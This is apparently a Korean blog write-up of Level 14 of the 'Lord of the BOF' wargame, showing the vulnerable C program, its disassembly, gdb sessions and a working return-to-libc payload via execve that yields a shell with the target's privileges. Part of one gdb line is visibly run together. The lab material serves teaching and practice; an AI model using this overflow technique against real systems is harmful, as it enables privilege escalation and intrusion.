Sh4n3e
[시스템해킹][LOB] Level 14 : Bugbear -> Giant 본문
이번 문제는 앞의 문제와는 다르게 execve()함수를 이용해서 RTL을 진행해야한다.
execve()함수의 속성을 알기위해서는 아래의 주소를 참조한다.
문자열 "/bin/sh" 의 주소값을 얻는 방법과 execve()함수의 주소를 얻는 방법은 이전 문제에서 진행했던것과 동일하다.
http://linux.die.net/man/3/execve |
아래는 해당 문제의 C코드와 어셈블 코드가 있다.
[bugbear@localhost bugbear]$ cat giant.c /* The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) { char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2){ printf("argv error\n"); exit(0); } // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r"); //해당 부분은 giant의 권한이 없기떄문에 열수 없다. fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret != execve_addr) { printf("You must use execve!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
(gdb) disass main Dump of assembler code for function main: 0x8048560 <main>: push %ebp 0x8048561 <main+1>: mov %ebp,%esp 0x8048563 <main+3>: sub %esp,60 0x8048566 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804856a <main+10>: jg 0x8048583 <main+35> 0x804856c <main+12>: push 0x8048700 0x8048571 <main+17>: call 0x8048444 <printf> 0x8048576 <main+22>: add %esp,4 0x8048579 <main+25>: push 0 0x804857b <main+27>: call 0x8048474 <exit> 0x8048580 <main+32>: add %esp,4 0x8048583 <main+35>: push 0x804870c 0x8048588 <main+40>: push 0x8048720 0x804858d <main+45>: call 0x8048404 <popen> 0x8048592 <main+50>: add %esp,8 0x8048595 <main+53>: mov %eax,%eax 0x8048597 <main+55>: mov DWORD PTR [%ebp-44],%eax 0x804859a <main+58>: mov %eax,DWORD PTR [%ebp-44] 0x804859d <main+61>: push %eax 0x804859e <main+62>: push 0xff 0x80485a3 <main+67>: lea %eax,[%ebp-40] 0x80485a6 <main+70>: push %eax 0x80485a7 <main+71>: call 0x8048424 <fgets> 0x80485ac <main+76>: add %esp,12 0x80485af <main+79>: lea %eax,[%ebp-48] 0x80485b2 <main+82>: push %eax 0x80485b3 <main+83>: push 0x804876b 0x80485b8 <main+88>: lea %eax,[%ebp-40] 0x80485bb <main+91>: push %eax 0x80485bc <main+92>: call 0x8048484 <sscanf> 0x80485c1 <main+97>: add %esp,12 0x80485c4 <main+100>: mov %eax,DWORD PTR [%ebp-44] 0x80485c7 <main+103>: push %eax 0x80485c8 <main+104>: call 0x8048464 <fclose> 0x80485cd <main+109>: add %esp,4 0x80485d0 <main+112>: push 0x804870c 0x80485d5 <main+117>: push 0x8048780 0x80485da <main+122>: call 0x8048404 <popen> 0x80485df <main+127>: add %esp,8 0x80485e2 <main+130>: mov %eax,%eax 0x80485e4 <main+132>: mov DWORD PTR [%ebp-44],%eax 0x80485e7 <main+135>: mov %eax,DWORD PTR [%ebp-44] 0x80485ea <main+138>: push %eax 0x80485eb <main+139>: push 0xff 0x80485f0 <main+144>: lea %eax,[%ebp-40] 0x80485f3 <main+147>: push %eax 0x80485f4 <main+148>: call 0x8048424 <fgets> 0x80485f9 <main+153>: add %esp,12 0x80485fc <main+156>: lea %eax,[%ebp-52] 0x80485ff <main+159>: push %eax 0x8048600 <main+160>: push 0x80487c8 0x8048605 <main+165>: lea %eax,[%ebp-40] 0x8048608 <main+168>: push %eax 0x8048609 <main+169>: call 0x8048484 <sscanf> 0x804860e <main+174>: add %esp,12 0x8048611 <main+177>: mov %eax,DWORD PTR [%ebp-44] 0x8048614 <main+180>: push %eax 0x8048615 <main+181>: call 0x8048464 <fclose> 0x804861a <main+186>: add %esp,4 0x804861d <main+189>: mov %eax,DWORD PTR [%ebp-48] 0x8048620 <main+192>: mov %edx,DWORD PTR [%ebp-52] 0x8048623 <main+195>: lea %ecx,[%edx+%eax*1] 0x8048626 <main+198>: mov DWORD PTR [%ebp-56],%ecx 0x8048629 <main+201>: push 4 0x804862b <main+203>: mov %eax,DWORD PTR [%ebp+12] 0x804862e <main+206>: add %eax,4 0x8048631 <main+209>: mov %edx,DWORD PTR [%eax] 0x8048633 <main+211>: add %edx,44 0x8048636 <main+214>: push %edx 0x8048637 <main+215>: lea %eax,[%ebp-60] 0x804863a <main+218>: push %eax 0x804863b <main+219>: call 0x8048454 <memcpy> 0x8048640 <main+224>: add %esp,12 0x8048643 <main+227>: mov %eax,DWORD PTR [%ebp-60] 0x8048646 <main+230>: cmp %eax,DWORD PTR [%ebp-56] 0x8048649 <main+233>: je 0x8048662 <main+258> 0x804864b <main+235>: push 0x80487cb 0x8048650 <main+240>: call 0x8048444 <printf> 0x8048655 <main+245>: add %esp,4 0x8048658 <main+248>: push 0 0x804865a <main+250>: call 0x8048474 <exit> 0x804865f <main+255>: add %esp,4 0x8048662 <main+258>: mov %eax,DWORD PTR [%ebp+12] 0x8048665 <main+261>: add %eax,4 0x8048668 <main+264>: mov %edx,DWORD PTR [%eax] 0x804866a <main+266>: push %edx 0x804866b <main+267>: lea %eax,[%ebp-40] 0x804866e <main+270>: push %eax 0x804866f <main+271>: call 0x8048494 <strcpy> 0x8048674 <main+276>: add %esp,8 0x8048677 <main+279>: lea %eax,[%ebp-40] 0x804867a <main+282>: push %eax 0x804867b <main+283>: push 0x80487e1 0x8048680 <main+288>: call 0x8048444 <printf> 0x8048685 <main+293>: add %esp,8 0x8048688 <main+296>: leave 0x8048689 <main+297>: ret 0x804868a <main+298>: nop |
아래의 set *(long*)0xbffffc40=0x400a9d48은 0xbffffc40주소값 4바이트값을 0x400a9d48로 바꿔준다는 의미이다. 이것은 기존 giant프로그램에서 execve값을 가져온 후, argv로 받은 RTL의 함수값을 비교하여 execve값인지 확인 비교하는 루틴이다. 하지만 위에서 언급했듯이
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
//해당 부분은 giant의 권한이 없기떄문에 열수 없다.
해당부분은 권한이 없기때문에 열리지 않으며, 제대로된 execve주소값을 가져올 수 없게된다. 따라서 우리가 임의로 컴파일한 프로그램에서 디버깅을 순조롭게 하기위해서는 비교하는 부분을 기존 프로그램과 같이 작동하게하기 위해서 해당 처리를 해주게 된다.
[bugbear@localhost bugbear]$ gdb -q tnaig (gdb) b *main+230 Breakpoint 1 at 0x8048646 <+"BBBB"+"\xf9\xbf\x0f\x40"+"\xb8\xfc\xff\xbf"+"\x88\xfc\xff\xbf"')" Starting program: /home/bugbear/tnaig "$(python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"\xb8\xfc\xff\xbf"+"\x88\xfc\xff\xbf"')" ldd: /home/giant/assassin: No such file or directory Breakpoint 1, 0x8048646 in main () (gdb) print/x $ebp-56 $1 = 0xbffffc40 (gdb) set *(long*)0xbffffc40=0x400a9d48 // /home/giant/assassin을 못열기때문에 해당값을 임의로 바꿔준다. // 0x400a9d48은 execve 함수의 주소이다. (gdb) c |
다음은 execve()함수의 매개변수 2번째 값을 채우기 위한 부분으로 뒷부분이 NULL부분을 찾아서 넣는 부분이다. 나는 이부분때문에 많이 헤맸으며, 0x00000000값이 있는 부분을 다수 시도한 끝에 해당 결과를 얻어낼 수 있었다.
이 부분은 따라하려는 분께서는 많은 시도를 해보길 바란다.
(gdb) x/2000x $ebp 0xbffffc78: 0x41414141 0x400a9d48 0x42424242 0x400fbff9 0xbffffc88: 0xbffffcb8 0xbffffc88 0x00000000 0x080484b0 0xbffffc98: 0x00000000 0x080484d1 0x08048560 0x00000002 0xbffffca8: 0xbffffcc4 0x080483b4 0x080486bc 0x4000ae60 0xbffffcb8: 0xbffffcbc 0x40013e90 0x00000002 0xbffffdb6 0xbffffcc8: 0xbffffdca 0x00000000 0xbffffe0b 0xbffffe1d 0xbffffcd8: 0xbffffe37 0xbffffe56 0xbffffe78 0xbffffe85 0xbffffce8: 0xbffffe90 0xbffffeaf 0xbffffecc 0xbffffee1 |
따라서 아래와 같은 페이로드를 얻을 수 있었고, 결과를 얻어내었다.
./giant "$(python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"\x94\xfc\xff\xbf"+"\x98\xfc\xff\xbf"')" |
x0f\x40"+"\x94\xfc\xff\xbf"+"\x98\xfc\xff\xbf"')" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH� @BBBB��@�������� 1�^�����PTRh��h��QVh`��c������������������U���=��: /home/bugbear/.bashrc: Permission denied bash$ id uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) bash$ /bin/my-pass euid = 514 one step closer bash$ |
'Wargame > LOB' 카테고리의 다른 글
[시스템해킹][LOB] Level 16 : Assassin -> Zombie_assassin (0) | 2017.07.18 |
---|---|
[시스템해킹][LOB] Level 15 : Giant -> Assassin (0) | 2017.07.18 |
[시스템해킹][LOB] Level 13 : Darkknight -> Bugbear (0) | 2017.07.13 |
[시스템해킹][LOB] Level12 : Golem -> Darkknight (0) | 2017.07.04 |
[시스템해킹][LOB] Level11 : Skeleton -> Golem (0) | 2017.06.27 |